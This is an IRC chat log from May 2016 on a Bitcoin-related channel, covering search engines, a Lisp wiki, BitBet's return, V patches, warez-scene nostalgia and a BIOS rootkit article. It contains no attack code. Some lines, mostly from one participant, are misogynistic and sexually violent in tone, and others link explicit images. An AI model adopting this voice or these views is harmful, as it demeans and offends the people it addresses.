1465014;1462765675;danielpbarron;incidently, amazon is the one thing i ever bought something from after seeing an ad on the web (that i can recall) 1465015;1462765696;mircea_popescu;change.org is, by and large, obama's personal blog - except he doesn't write much and the comment section's self moderated. how is this relevant, his 8 years are up. 1465016;1462765725;mircea_popescu;danielpbarron yeah. bezos is one of the very few respectable us business heads. 1465017;1462765906;hanbot;mircea_popescu but wouldja say google is a tgp? or indistinct failbucket? 1465018;1462765930;mircea_popescu;hanbot it even implemented the "sort thumbs by how lcikced they are" thing! 1465019;1462765951;hanbot;lol okay okay 1465020;1462765955;mircea_popescu;so they go around the web clipping bits out of ever site ; and like a tgp they send a lot of traffic to paysites ; and like a tgp their traffic is mostly shit. and etc. 1465021;1462766000;mircea_popescu;people are still clinging on today to this "search engine traffic is best traffic" mantra, which made sense 10 or 15 years ago, without stopping to think for a moment how the context changed. 1465022;1462766020;mircea_popescu;so some douche found your site VIA GOOGLE ? when this, in 2016 ? does this mean he's smart ? knowledgeable ? connected ? 1465023;1462766037;mircea_popescu;or does it mean the best predictor of how much rain water he has in his mouth is whether it's raining ? 1465024;1462766058;mircea_popescu;yes, in 1999 there was ~no way to know wtf was on the web, and so search engine traffic was not selected for being dumber than the average lawyer. 1465025;1462766070;mircea_popescu;today ? selected to be dumber than the average house cat! 1465026;1462766334;trinque;mod6 │ ;;later tell trinque so how can shinohai help build out wiki.deedbot.org? is there some web-code he can write? or perhaps just preparing articles? << talked with him; all he needs to do is register and can start making pages 1465027;1462766360;trinque;this week I'll look at getting the wiki some wotauth 1465028;1462766429;trinque;shinohai: if you do want to try your hand at lisp, you're more than welcome to try your hand at extending the wiki usefully 1465029;1462766447;mircea_popescu;wait, the wiki is written in lisp ?! 1465030;1462766470;trinque;sho nuff 1465031;1462766474;mircea_popescu;win. 1465032;1462766480;mircea_popescu;the only problem with lisp though 1465033;1462766490;mircea_popescu;is that there are no real world applications that make use of it. 1465034;1462766537;mircea_popescu;o btw trinque you were all into big data and sql and shit, how's http://trilema.com/2016/multivariate-calculus-for-experts/ look to you ? 1465035;1462766574;asciilifeform;mircea_popescu: i looked at it. 1465036;1462766582;asciilifeform;seems to resolve to the 'knapsack problem.' 1465037;1462766599;trinque;lol yeah, teh republic's trying to bring back teh lisp! 1465038;1462766606;*;trinque reads 1465039;1462766609;mircea_popescu;asciilifeform it ALSO is the absolute matrix-mother of ALL usg-tronic "intellectual propety" 1465040;1462766617;asciilifeform;howsthat 1465041;1462766636;mircea_popescu;think for a moment, what is the nsa supposedly doing ? taking THAT EXACT db and establishing "who's a terrorist". 1465042;1462766660;mircea_popescu;what's google's/facebook's/etc supposed stock in trade ? "oh, we took that EXACT db and... established prices of things" 1465043;1462766676;mircea_popescu;etc. you can not in fact find a "blue chip" as the notion has been tarnished today that does anything else as its business than... that. 1465044;1462766684;asciilifeform;google gosplan !111111111 1465045;1462766693;mircea_popescu;and most of the ustardian cults are ALSO predicated on some mystical voodoo solution to it, also. 1465046;1462766721;mircea_popescu;from "liberal" to "lesswrong" and back again. the feminists wish REALLY HARD for some primitives they found to be supported by it. etc. 1465047;1462766737;asciilifeform;anyway gosplan does not and does not even seriously pretend to work by solving the motherfukcing equation, but instead it cuts the princesses' feet to fit the shoes when necessary. 1465048;1462766746;asciilifeform;under that set of constraints, 'worx1!11111111!' 1465049;1462766761;mircea_popescu;except this requirement is in there! "provide justification". 1465050;1462766766;mircea_popescu;and well... not trivial, either. 1465051;1462766807;mircea_popescu;for that matter, the fed is spending all the resources of pretty much everyone in finance speaking english today to try and come out with a "passible solution" to mp's problem, that they doublespeak as "market stability" and so on and so forth. 1465052;1462766825;mircea_popescu;the laws get ever longer, so-and-so's rule, criteria and blabla, but the solution comes no closer. 1465053;1462766829;*;trinque will try to fit this in head after a cycle in his regeneration pod 1465054;1462766866;mircea_popescu;enjoy. 1465055;1462771259;BingoBoingo;;;ticker --market all 1465056;1462771269;gribble;Bitstamp BTCUSD last: 456.58, vol: 1554.57518222 | BTC-E BTCUSD last: 452.661, vol: 3356.37957 | Bitfinex BTCUSD last: 458.17, vol: 6664.73925998 | CampBX BTCUSD last: 445.0, vol: 2.24548227 | BTCChina BTCUSD last: 454.841968, vol: 17044.27550000 | Kraken BTCUSD last: 457.76, vol: 617.26018576 | Bitcoin-Central BTCUSD last: 456.4984, vol: 18.74667532 | Volume-weighted last average: (1 more message) 1465057;1462771336;BingoBoingo;;;more 1465058;1462771336;gribble;455.504084386 1465059;1462797359;mircea_popescu;hhhola! 1465060;1462797518;mircea_popescu;$up hax404 1465061;1462797522;deedbot;hax404 voiced for 30 minutes. 1465062;1462799555;danielpbarron;$v 40C1444EF15BAAD33D8DC6E2C850B70C54AB16444CD49B154FED054ADD2B21D4 1465063;1462799556;deedbot;danielpbarron rated zakorus123 1 << Euloran who bought some threads from me 1465064;1462799574;shinohai; http://btcbase.org/log/2016-05-09#1465028 <<< thx trinque I did register account yesterday and am poring over old wiki materials this morning. 1465065;1462799574;a111;Logged on 2016-05-09 04:00 trinque: shinohai: if you do want to try your hand at lisp, you're more than welcome to try your hand at extending the wiki usefully 1465066;1462799839;mircea_popescu;win. 1465067;1462800305;BingoBoingo;$up adlai 1465068;1462800306;deedbot;adlai voiced for 30 minutes. 1465069;1462801830;mircea_popescu;and in other boobs, http://67.media.tumblr.com/tumblr_lsllt0hfEF1r33v5zo1_1280.jpg 1465070;1462806135;mircea_popescu;and in other news, "Dans leurs regards indifférents flottait la quiétude de passions journellement assouvies ; et, à travers leurs manières douces, perçait cette brutalité particulière que communique la domination de choses à demi faciles, dans lesquelles la force s'exerce et où la vanité s'amuse, le maniement des chevaux de race et la société des femmes perdues." 1465071;1462807252;shinohai;http://www.cnn.com/2016/05/09/politics/north-carolina-hb2-justice-department-deadline/ <<< Preet: Why can't everyone just shit together in the street like back home in India? 1465072;1462807354;asciilifeform;l0l they've banned mircea_popescu ! 1465073;1462807388;asciilifeform;(who iirc has never set foot in a mens' room, out of pr1nc1pl3) 1465074;1462807451;asciilifeform;savages. 1465075;1462807587;mircea_popescu;wait whi ? 1465076;1462807670;asciilifeform;'North Carolina has filed a lawsuit against the U.S. Justice Department to defend House Bill 2, a law that bans individuals from using public bathrooms that do not correspond with their biological sex, according to a court document.' 1465077;1462807710;mircea_popescu;lol. 1465078;1462807776;mircea_popescu;it's not that never by any means. 1465079;1462807797;mircea_popescu;but i also didn't pretend i'm a woman or anything. just, you know, these sorts of rules, psshh. they're lulzy because the pretense is always one way (protect teh modesty of teh ladies, o noes, as if), whereas the actual cause is exactly opposite (dudes can't fucking piss with women there). 1465080;1462807878;asciilifeform;what'dbe wrong with locking stalls in 1 shit hall for everybody. 1465081;1462807942;mircea_popescu;that you can't pee with a hard-on. 1465082;1462807950;asciilifeform;hm point 1465083;1462807952;mircea_popescu;and you get hard-ons for all sorts of dumb reasons such as chick's perfume. 1465084;1462807987;mircea_popescu;AND if you get a hardon while needing to pee, which is why you're there, it'll be a bitch to get yourself out of it as pressure is a signal. 1465085;1462807997;mircea_popescu;little bit of fuck you from Mz Anatomy there. 1465086;1462808069;asciilifeform;point!! 1465087;1462808146;mircea_popescu;in other lulz, in egypt trains (not the "expensive" stuff where you get the whole compartment and there's a gay waiter in livery to attend to your every whim, the common cattle hauling things) are also gender segregated. and we (ie, me and chet) climbed in the girl one, which amused teh women no end and really bothered the dudes. 1465088;1462808251;mircea_popescu;the REASON it bothered the dudes is that now they couldn't tell themselves that it's ok they're not running amok among the smiling she-herd, grabing all the tits, because "you can't get in there". manifestly you can, and a foreigned=loser to boot, so they can^2, and what fucking difference does it make HE doesn't go japanese-subway-porn-berserk, that's because he's a loser=foreigner, nevermind that part! 1465089;1462808267;mircea_popescu;people's heads, you know. their very own, private and most deserved punishment. 1465090;1462809072;asciilifeform;speaking of my punishment, i finally had the mega-satisfaction of resigning from $rupturefarm 1465091;1462809081;danielpbarron;congrats! 1465092;1462809090;asciilifeform;just signed 5min ago. 1465093;1462809307;mircea_popescu;cheers. 1465094;1462809496;asciilifeform;$up fromphuctor 1465095;1462809498;deedbot;fromphuctor voiced for 30 minutes. 1465096;1462809508;asciilifeform;eh 1465097;1462810166;mircea_popescu;lmao need to carry the $up gun on the hip 1465098;1462810171;mircea_popescu;like old style west. 1465099;1462810258;asciilifeform;speaking of, 1465100;1462810264;asciilifeform;soooomebody, it seems, is still feeding phuctor 1465101;1462810271;asciilifeform;a teaspoon-full at a time 1465102;1462810281;mircea_popescu;i imagine people interested, neh ? 1465103;1462810283;asciilifeform;aha. 1465104;1462811265;danielpbarron;https://bitbet.us/bet/1255/thedao-to-be-the-largest-crowdsale-ever/ << can anyone see this page? it works on my iPhone in chrome but it doesn't work in chromium on gentoo.. 1465105;1462811292;danielpbarron;on a very related note, bitbet appears to be back 1465106;1462811331;mircea_popescu;o hey it's back ? 1465107;1462811332;danielpbarron;was trying to write a qntra on it, but ran into this serving-different-content-to-different-browsers weirdness 1465108;1462811361;mircea_popescu;nope, connection reset. 1465109;1462811370;danielpbarron;one sec, taking screenshots on my phone 1465110;1462811394;mircea_popescu;https too eh ? 1465111;1462811491;asciilifeform;l0l! nsacoin at last ! 1465112;1462811501;mircea_popescu;http://dpaste.com/1GFYZ4G << badly set-up ssl 1465113;1462811641;asciilifeform;mircea_popescu: or on the contrary 1465114;1462811646;asciilifeform;well-setup up usgssl. 1465115;1462811663;asciilifeform;for lol-enforcement!111 purporses. 1465116;1462811665;mircea_popescu;i guess. 1465117;1462811693;asciilifeform;as somebody said to a famous aircraft designer: 'FLY in it?! i won't WALK under it' 1465118;1462811706;mircea_popescu;and in other Carmen the Beercunt news, http://66.media.tumblr.com/8cf392f56702d6dee3f8bd4cb58652ad/tumblr_mnegum7DcF1rhlfrbo1_1280.jpg 1465119;1462811711;asciilifeform;BET in it?! i dun recommend LOADING it 1465120;1462811991;asciilifeform;https://bitbet.us/faq/#liveagain << related. 1465121;1462812142;danielpbarron;yeah no that's not the new one 1465122;1462812154;danielpbarron;the new one has a LOT of bold red text 1465123;1462812168;mircea_popescu;well archive is doesn't see it either, that's the extent of my patience. 1465124;1462812352;asciilifeform;mircea_popescu et al: http://dpaste.com/2BV2PW0.txt 1465125;1462812478;mircea_popescu;"One thing to be aware of: the bets that were cancelled because of the transition are still visible on the site and have all been resolved as "NO". " uh... ok ? 1465126;1462812507;mircea_popescu;"While this may feel inconsistent (the proper resolution should be "CANCELED & REFUNDED"), there is a limitation in the current design of the system that prevents us from doing anything else." << this is an odd claim. 1465127;1462812552;mircea_popescu;i suppose the admin interface as-was does not provide a ready way to cancel bets that had already closed at the whatever arbitrary timepoint. but still, database is database, what. 1465128;1462812634;danielpbarron;http://danielpbarron.com/wordpress/wp-content/uploads/2016/05/new_bitbet.png 1465129;1462812648;mircea_popescu;keeping the "try to chisel, lose your capital" rule it seems. oh and all the scandal and "mp is a scammer" that came from that one, golly. 1465130;1462812669;mircea_popescu;turns out the veterinarian can not actually direct his practice by the bellows of the pack animal. who knew! 1465131;1462812745;mircea_popescu;danielpbarron lol. 1465132;1462812749;asciilifeform;chisel? 1465133;1462812790;mircea_popescu;asciilifeform it's a term of art. 1465134;1462812794;danielpbarron;and i won't bother with the faq since apparently ascii got a text version of it 1465135;1462812798;mircea_popescu;$google "i used a little information for a chisel, that's all" 1465136;1462812805;deedbot;No results. 1465137;1462812808;mircea_popescu;eh gtfo ? 1465138;1462812851;mircea_popescu;asciilifeform there's an underworld of hustlers and small time, nonviolent criminals, with its own cant. to chisel is to use an informational asymmetry for a small, distributed gain. 1465139;1462812868;asciilifeform;arbitrage ? 1465140;1462812870;mircea_popescu;the bank fraud where a coupla clerks reprogrammed the system to have all cent fractions added up to their account is a very typical chisel. 1465141;1462812876;asciilifeform;ah, salami 1465142;1462812881;mircea_popescu;no, arbitrage aha. 1465143;1462812888;mircea_popescu;arbitrage is to be an economic engine. 1465144;1462813262;mircea_popescu;Could I become an affiliate? Not at this time, although this may change in the future. Could I become a partner? Not at this time. Can I advertise on BitBet? Not at this time, although this may change in the future. 1465145;1462813286;mircea_popescu;in fairness, the "community" had two years to run off with one of the more generous aff systems in history, twiddled its thumbs. 1465146;1462813770;trinque;that "google custom search api" thing does actually hand back zero results for certain queries it seemingly shouldn't 1465147;1462813815;asciilifeform;happy v-day folx. 1465148;1462813834;asciilifeform;incidentally, i just recently found out about the junkers ju390 in buenos aires 1945 thing. 1465149;1462814910;danielpbarron;;;later tell BingoBoingo http://danielpbarron.com/qntra/bitbet-is-live-again.asc.txt 1465150;1462814911;gribble;The operation succeeded. 1465151;1462815933;asciilifeform;from the dept of lulz: 1465152;1462815947;asciilifeform;'They suggest that when people fly in economy class, their position in the social hierarchy becomes glaringly obvious. This fact is especially so if they have to walk through the first class section of the plane to get to their assigned space in a cramped hell.' 1465153;1462815954;asciilifeform;( http://arstechnica.com/science/2016/05/air-rage-is-more-common-when-economy-class-passengers-see-first-class ) 1465154;1462817304;j-dawg;lol "they suspected these explanations are missing something." 1465155;1462817327;j-dawg;i won't ever forget my first time on transatlantic economy flight. couldn't sleep due to vibrations, terminally bored and pretty close to rage even without thoughts about first class 1465156;1462817804;mircea_popescu;somehow the very concept of economy class flight is dubious. 1465157;1462817820;mircea_popescu;either you're good enough to fly or you aren't, wtf is this subway in the air. 1465158;1462817845;asciilifeform;real demigodz buy own 747!111111 1465159;1462817900;mircea_popescu;anyway. i can readily see usg womanchild losing her shit because it's the first time in her life that he encounters the implacable "sit down and shut up, worm" 1465160;1462817929;mircea_popescu;(in the above context, "her" is a genderless pronoun used to denote stupidity) 1465161;1462818002;asciilifeform;for every mircea_popescu paying in actual dough for firstclass, there's a platoon of apparatchiks, of various usgtronic flavours, who 'expense'. 1465162;1462818020;mircea_popescu;large part of the problem. 1465163;1462818021;asciilifeform;so my reaction to parading through firstclass is similar to seeing 'zil' limousine, or its usg equiv. 1465164;1462818930;j-dawg;phf: btcbase.org doesn't track V itself or rotor? 1465165;1462820351;ben_vulpes;congrats asciilifeform 1465166;1462820377;asciilifeform;ty ben_vulpes 1465167;1462820473;phf;j-dawg: btcbase secretly tracks btcbase itself, since i'm experimenting with (load-v "foo.vpatch") type thing, but that's not public. i don't think there's a proper vtronic chain of V or rotor available, so unless i generate those myself there's nothing i can track 1465168;1462820523;phf;i think i saw mod6 vpatch's for v.pl, but afaik there's no genesis for those, etc. 1465169;1462822420;asciilifeform;;;later tell mircea_popescu http://phrack.org/issues/69/2.html#article << lulzy 1465170;1462822421;gribble;The operation succeeded. 1465171;1462822523;mircea_popescu;myeah. 1465172;1462822589;mircea_popescu;asciilifeform oh yeah, dumbass bbs people and their "nick" notions. 1465173;1462822592;mircea_popescu;i had forgotten. 1465174;1462822611;asciilifeform;much nostalgia in one box, tho. 1465175;1462822646;mircea_popescu;demigods know not nostalgia! 1465176;1462822665;asciilifeform;humans - do. 1465177;1462822667;mircea_popescu;looky, he uses the same hardware you use :D 1465178;1462822763;asciilifeform;from other articles in same issue, 1465179;1462822763;asciilifeform;'Then, in Dec 2011, Asheesh, a Debian dev particularly fond of his key ID, found a way to create a new RSA 4096 key with that ID (and a bug in GnuPG handling of duplicate keys) [2]. He highlighted the disruptive potential of that and decided not to release the code. Bummer. 1465180;1462822767;asciilifeform;' 1465181;1462822859;j-dawg;phf: v genesis does exist: http://therealbitcoin.org/ml/btc-dev/2015-August/000153.html 1465182;1462822879;asciilifeform;j-dawg: aha, that's mine 1465183;1462822983;mircea_popescu;w99w99... check it out... soon enough all the ancient scene is going to pop back up, myth and all. 1465184;1462822996;asciilifeform;in museum. 1465185;1462823034;asciilifeform;it cannot exist today just like the prehistoric dragonflies cannot 1465186;1462823039;asciilifeform;wrong gases in atmosphere... 1465187;1462823150;mircea_popescu;heh. i just meant the names. 1465188;1462823167;asciilifeform;l0lk 1465189;1462823215;mircea_popescu;(incidentally, there was at least one example of well known, functional, wot-only system online. teh scene.) 1465190;1462823241;asciilifeform;countless little worlds. 1465191;1462823244;mircea_popescu;probably the reason copyrasts didn't get away with much over 30 years of trying. no, it wasn't reddit, no "raising awareness" did jack. 1465192;1462823275;asciilifeform;any two kidz passing floppies back'n'forth were a world. 1465193;1462823288;asciilifeform;but it also helped that enemy could not even for a millisecond masquerade as a real person. 1465194;1462823289;mircea_popescu;quite like gossipd works yes 1465195;1462823292;asciilifeform;aha. 1465196;1462823302;asciilifeform;in america they called it 'sneakernet' 1465197;1462823363;phf;biggest japan pirate network was an invite only wot based around harddrive exchange, with the "if your friend's a rat, you're a rat" policy 1465198;1462823381;mircea_popescu;note also that the groups were both distinct from the topsites let alone couriers, and also had their own artgroups! 1465199;1462823410;asciilifeform;who remembers the wonderful crack 'demos' ! 1465200;1462823415;asciilifeform;complete with music 1465201;1462823424;mircea_popescu;The Humble Guys! 1465202;1462823436;asciilifeform;Adaz! 1465203;1462823438;mircea_popescu;not accolade, thc convinced me of the possibility of computers 1465204;1462823438;davout;"here, have a quake 2 in 287 bytes" 1465205;1462823444;mircea_popescu;olo 1465206;1462823464;asciilifeform;Razor! 1465207;1462823471;mircea_popescu;a yes also 1465208;1462823479;phf;razor was the last one to go 1465209;1462823481;mircea_popescu;fuyck it's online 1465210;1462823486;mircea_popescu;phf also latecomer iirc 1465211;1462823499;mircea_popescu;https://www.youtube.com/watch?v=2J2qWPwUL9U 1465212;1462823503;asciilifeform;i personally cracked a very tough cookie of a commercial proggy a few yrs back, and had... no place to put. 1465213;1462823604;mircea_popescu;(incidentally - to dragon's eyes we work as if we were there. recall - you ftp'd to site then had it read into irc ?) 1465214;1462823639;j-dawg;mod6: just curious - why you have not published v patches in v? 1465215;1462823646;j-dawg;v.pl i mean 1465216;1462823725;phf;j-dawg: i think there's a general "fear" of publishing a dodgy vpatch so everyone's hedging. i think that's one of the reasons for asciilifeform's vector 1465217;1462823757;j-dawg;but i am asking about publishing patches about your own code 1465218;1462823768;asciilifeform;phf has it 1465219;1462823792;mircea_popescu;considering all this is yet new... 1465220;1462823802;asciilifeform;j-dawg: i suspect that folks, even incl. mod6, are still cautious of firing v in anger in the field 1465221;1462823808;mircea_popescu;but yes, some extruding pressure must be applied to get people to use the proper tool 1465222;1462823818;asciilifeform;sorta why i tried to keep mine TINY 1465223;1462823823;asciilifeform;so it can be swallowed WHOLE 1465224;1462823832;asciilifeform;and you can feel entirely confident jumping with the parachute. 1465225;1462823922;j-dawg;oh now i see he actually did http://therealbitcoin.org/ml/btc-dev/2015-November/000178.html 1465226;1462823980;phf;j-dawg: right, i think that's the one that's missing genesis though. so it's sort of a hybrid, you need original v.pl and then you press with a vpatch. i don't think that's the right way 1465227;1462824014;phf;of course producing genesis from original v.pl and then using mod6's vpatch will give you a proper chain 1465228;1462824019;j-dawg;but anyone can make the genesis, no? 1465229;1462824024;mircea_popescu;yes 1465230;1462824428;mircea_popescu;asciilifeform check it out, to this day the nebulously defined "community" around warez standard has a) not moved away from rar ; b) not allowed unicode in names. 1465231;1462824477;asciilifeform;why would it ? 1465232;1462824480;phf;still packs torrents full of rar r00 r01 r02 files 1465233;1462824481;mircea_popescu;modern ? 1465234;1462824504;mircea_popescu;i dunno mang, apparently one can't think without ideograms or something. 1465235;1462824556;j-dawg;i have seen fair share of torrents with unicode filenames 1465236;1462824566;mircea_popescu;you're prolly looking at p2p garbage. 1465237;1462824592;j-dawg;yes, i only have p2p garbage, never was very sociable 1465238;1462824629;j-dawg;nor wanted to pay for alt.bin access 1465239;1462824736;j-dawg;unrelated, how do i search the logs for 't'? since there's no info on ml... 1465240;1462824759;mircea_popescu;http://btcbase.org/log-search?q=t :D 1465241;1462824779;j-dawg;500+ entries in 0.0s yay 1465242;1462824785;phf;http://btcbase.org/log-search?q=%22+t+%22 1465243;1462824793;mircea_popescu;http://btcbase.org/log-search?q=%22+T%22 << check out how nicely this works 1465244;1462824815;mircea_popescu;phf still needs a command 1465245;1462824923;phf;i was thinking of maybe making standalone keywords search for a word, but if you want to grep, surround it with quotes. "t" will behave as now, where's t will behave as "^t " or " t$" or " t " 1465246;1462824947;j-dawg;http://btcbase.org/log/2014-08-30#816239 typical result :D 1465247;1462824947;a111;Logged on 2014-08-30 08:31 Vexual: there you go caz, big fat hares t whever punk is 1465248;1462824959;mircea_popescu;heh. 1465249;1462824965;mircea_popescu;j-dawg which one is t again ? 1465250;1462824989;j-dawg;http://thebitcoin.foundation/tickets/tickets.html 1465251;1462825009;mircea_popescu;ah, mod6 introduced it recently. faster to search from:mod6 and go backwards. 1465252;1462825015;mircea_popescu;it's ~2 weeks old if that. 1465253;1462825289;j-dawg;if i ever release anything related to tmsr, will name it " ". 1465254;1462825296;mircea_popescu;:D 1465255;1462825312;mircea_popescu;are you going to be the hacker formerly known as j-dawg ? 1465256;1462825331;j-dawg;heh 1465257;1462825372;j-dawg;and i'll move to FYROM! 1465258;1462825379;phf;can release anything with unicode in name, and search will happily barf. only uses mp approved letters to operate 1465259;1462825401;mircea_popescu;fuck stop giving him ideas 1465260;1462825436;j-dawg;but that was not unicode, that was plain old space (0x20) 1465261;1462825438;mircea_popescu;he's gonna release u-psilon the dating app or something 1465262;1462825453;mircea_popescu;SPACE IS FOR HUSSIES! 1465263;1462825481;j-dawg;and second version will be named 0x19, and so on to final version 0x00. no unicodez!!! 1465264;1462825490;mircea_popescu;lol 1465265;1462825512;deedbot;[Qntra] A Form Of BitBet Online Again - http://qntra.net/2016/05/a-form-of-bitbet-online-again/ 1465266;1462825641;davout;danielpbarron: maybe mention the znort guy by name in the qntra piece, dude's wot'd after all 1465267;1462825669;davout;kinda outdated though 1465268;1462826265;BingoBoingo;$up AaronvanW 1465269;1462826270;deedbot;AaronvanW voiced for 30 minutes. 1465270;1462829080;asciilifeform;;;later tell BingoBoingo http://www.news-press.com/story/news/crime/2016/05/04/estero-man-arrested-hacking-into-state-lee-elections-website-david-levin-dan-sinclair/83921672 1465271;1462829081;gribble;The operation succeeded. 1465272;1462829427;asciilifeform;;;later tell mircea_popescu https://xakep.ru/2011/12/26/58104 << vintage lulz. bios rootkit in 2011, in intel-branded mb, pretty good evidence but nobody believed (tm) 1465273;1462829428;gribble;The operation succeeded. 1465274;1462830843;mircea_popescu;heh 1465275;1462830932;shinohai;X marks the spot: http://i.4cdn.org/b/1462829659462.jpg 1465276;1462831356;mircea_popescu;asciilifeform i find it hard to believe nobody actually had done hardware parallelization in 2007. 1465277;1462831568;asciilifeform;virtualization 1465278;1462831569;mircea_popescu;"Моему удивлению не было предела: номер биоса был тем же самым, образы биоса совпадали побайтно, но по какой-то причине серийные материнские платы заработали только тогда, когда я залил в них такой же биос, взятый сайта Intel" vs "Стало ясно, 1465279;1462831570;mircea_popescu; что платы из Китая содержат дополнительные программные модули, прошитые в биосе, а стандартные программы анализа эти модули не увидели." so does it or doesn't it coincide to the byte ? 1465280;1462831615;asciilifeform;one had extra modules, flashed in by updater, it looks like. 1465281;1462831623;asciilifeform;so the turd he was diffing matched, but there was moar. 1465282;1462831625;mircea_popescu;so then not byte-identical 1465283;1462831630;asciilifeform;aha. 1465284;1462831641;mircea_popescu;yeah well... i don't like the style of the author. 1465285;1462831665;asciilifeform;well you gotta follow along, first half is in state of ignorance 1465286;1462831680;mircea_popescu;yaya. and he checked everything and he fell in a state of stupour. 1465287;1462831683;mircea_popescu;he read too much gawker. 1465288;1462831720;asciilifeform;i dun think gawker has yet been invented in ru world. 1465289;1462831737;mircea_popescu;must've, the brainrot is specifically symptomatic. 1465290;1462831762;mircea_popescu;it's a wonder the 2nd para doesn't start with "it's a cold muscovite october and the snow crackles under the steps..." or somesuch shit. 1465291;1462831773;asciilifeform;y'know, there is > 1 way to rot brain 1465292;1462831776;asciilifeform;e.g., drink 1465293;1462831780;mircea_popescu;never to the same. 1465294;1462831795;mircea_popescu;all happy brains are similar ; all rotten ones so very different. or how did that quote go. 1465295;1462831848;asciilifeform;sumthinglikethat 1465296;1462831875;asciilifeform;but actually i find that rotten brains are very - at least externally - similar 1465297;1462831883;asciilifeform;because they tend to fall into sync with mass idiocies 1465298;1462831916;asciilifeform;whereas healthy brain each has own theorems. 1465299;1462831955;mircea_popescu;anyway, i guess this wonder'll be dissected another time. on the strenght of his report, i dun feel inclined to look into the matter any. 1465300;1462831981;asciilifeform;old nyooz, the key bit is the part with the timing analysis 1465301;1462832016;asciilifeform;it showed a quite 'amateur hour' telltale delta, given as the hypervisor can't move the wall clock ~on the fucking wall~ and you can see that it slows the box. 1465302;1462832024;mircea_popescu;asciilifeform it's almost a wonder these people choke on the oh-so-well written phuctor reports. considering the sort of inept bullshit floating about, you'd think they'd fall on knees and worship. 1465303;1462832030;asciilifeform;BUT this was before the 'nsa core' was added to intel cpu. 1465304;1462832045;asciilifeform;in ~those~ days they had to actually run on the x86 cores. 1465305;1462832046;mircea_popescu;"hey, unlike everything else, at least this one doesn't have 5kb of crud prior to the interesting bit" 1465306;1462832064;asciilifeform;they choke ~because~ it has no crud padding 1465307;1462832068;asciilifeform;'what does this MEAN?!!!!' 1465308;1462832077;mircea_popescu;"i dunno, got a noggin ?" 1465309;1462832096;mircea_popescu;fucktards. you just read it, son of a drunk fucker! why ask ME what it means! what are you for! 1465310;1462832456;mircea_popescu;but in other news : http://66.media.tumblr.com/b834e2676b055d1c5c152b4d705a9bfc/tumblr_nmnv72XTNH1scjhrvo1_250.gif 1465311;1462832690;mircea_popescu;asciilifeform this guy's profile is utterly irritating. 1465312;1462832830;mircea_popescu;as i age i'm simply rediscovering what i knew as a nine year old, which is, that i really can't stand "smart kids". 1465313;1462833401;mircea_popescu;"yeggogology" lol 1465314;1462835970;asciilifeform;http://btcbase.org/log/2016-05-09#1465311 << how come? 1465315;1462835970;a111;Logged on 2016-05-09 22:24 mircea_popescu: asciilifeform this guy's profile is utterly irritating. 1465316;1462836024;mircea_popescu;because he purports to misrepresent reality, and worst of all - the reality of his own fucking experience - in castrato terms. o really, "elitism is bad" ? fuck you. if you believe that, how come you're here ? 1465317;1462836052;mircea_popescu;the only option for the non-elitist, other than feeding the worms immediately, is a life of hypocrisy. there is nothing above, beyond or outside of elitism 1465318;1462836062;mircea_popescu;if you're a woman you can be a cow. if you're not, there's nothing. that's it. 1465319;1462836127;mircea_popescu;generally this "why can't we all get along, you don't really HAVE to hold your legs crossed like that in the subway, not REALLY, do you" bullshit readily irritates me. 1465320;1462836157;mircea_popescu;the intimation that losing it means you've "grown up" is particularly pernicious. you don't "grow up" by going bald. you just grow old, is all. 1465321;1462836354;mircea_popescu;all the bullshit about a very faux, miserable definition of "ethics" - no, ethics is pointedly NOT what he thinks, not anymore than capitalism is what the us runs ; all the bullshit about how "it's not a game anymore" as if a) it ever was and b) the losers, ie, "law enforcement", derpy marketeers and generally the feminine enemy is possibly ever in any manner even conceivably winning anything... 1465322;1462836368;mircea_popescu;gtfo already. it never was a game, it was always rape, and we always raped them. what "not a game anymore". 1465323;1462836374;mircea_popescu;strip or i'll make you. 1465324;1462836427;mircea_popescu;anyway. irreconcilable differences. 1465325;1462837434;mod6;<+j-dawg> mod6: just curious - why you have not published v patches in v? << yeah, i feel like, it's not yet mature enough to warrent its own genesis. 1465326;1462837464;mircea_popescu;will have to be done eventually. 1465327;1462837475;mod6;yeah, no doubt. 1465328;1462837505;mod6;but for instance, let's just say that everything about the graphing or whatever things were being discussed this weekend were wrong. 1465329;1462837515;mircea_popescu;new v. 1465330;1462837517;mircea_popescu;i mean new genesis. 1465331;1462837519;mod6;then we'd have one nasty genesis. 1465332;1462837522;mircea_popescu;so ? 1465333;1462837548;mircea_popescu;this has ~never stopped nature, has it ? hence byproducts like trump, obama, clinton, bush etc. 1465334;1462837551;mod6;well, i guess i was hoping that more people would use it. 1465335;1462837563;mod6;and it's actually quite hard to get people to use it it turns out. 1465336;1462837567;mircea_popescu;the only way you'll ever find out it was wrong would be through people using it 1465337;1462837571;mircea_popescu;and then they'll use the new one. 1465338;1462837613;mircea_popescu;although some pretty major cataclysm is needed to invalidate a genesis. you can just patch it into correctness downstream neh ? 1465339;1462837622;mod6;ofc 1465340;1462837634;mircea_popescu;and if it gets gnarly, rebasing is your friend. 1465341;1462837635;mod6;i guess i don't see much of a reason to rush this 1465342;1462837648;mircea_popescu;no reason to rush it, no. but still... hasta be done :) 1465343;1462837672;mod6;fair enough. 1465344;1462837704;mircea_popescu;(this, incidentally, has some interesting interplay with key updates - suddenly in a V world, the principal reason to get a new key is, "i'm sick of all tyhe old bullshit, wanna take a year off and rebase everything. here's my new key.") 1465345;1462837734;shinohai;mod6 survived Monday. [~]D 1465346;1462837793;mod6;mircea_popescu: ah yeah. some of this crossed my mind. 1465347;1462837804;mod6;i also think that V might get a huge overhaul perhaps. 1465348;1462837825;mod6;this would be possibly because of integration of stan's ideas about heart/eyes/hands/brain, etc. 1465349;1462837849;mod6;although, i haven't done enough thinking on this yet to actually have a plan or anything. just throwing that out there. 1465350;1462837856;mircea_popescu;yeah. it's all yet new. 1465351;1462837860;mod6;but, either way, could still be integrated downstream 1465352;1462837869;mod6;and perhaps thats better anyway. 1465353;1462837871;mod6;*shrug* 1465354;1462837996;mod6;i'll y to make some steps towards getting a genesis going -- gotta get through this `t' stuff first tho 1465355;1462838007;mircea_popescu;works. 1465356;1462838028;mod6;i'm getting closer with that part, just trying to make the graphing a bit better. 1465357;1462838039;mod6;<+shinohai> mod6 survived Monday. [~]D << yea! 1465358;1462843679;*;mod6 tips his hat to shinohai 1465359;1462843709;mod6;He's already plugged in and doing things with wiki.deedbot.org :] 1465360;1462843735;mod6;Thanks for getting him going trinque, this is most important work. And salud to you for providing the framework! 1465361;1462843855;shinohai;I like the framework, simple no nonsense 1465362;1462844053;asciilifeform;http://btcbase.org/log/2016-05-09#1465348 << imho none of this needs to be ~in~ v. 1465363;1462844053;a111;Logged on 2016-05-09 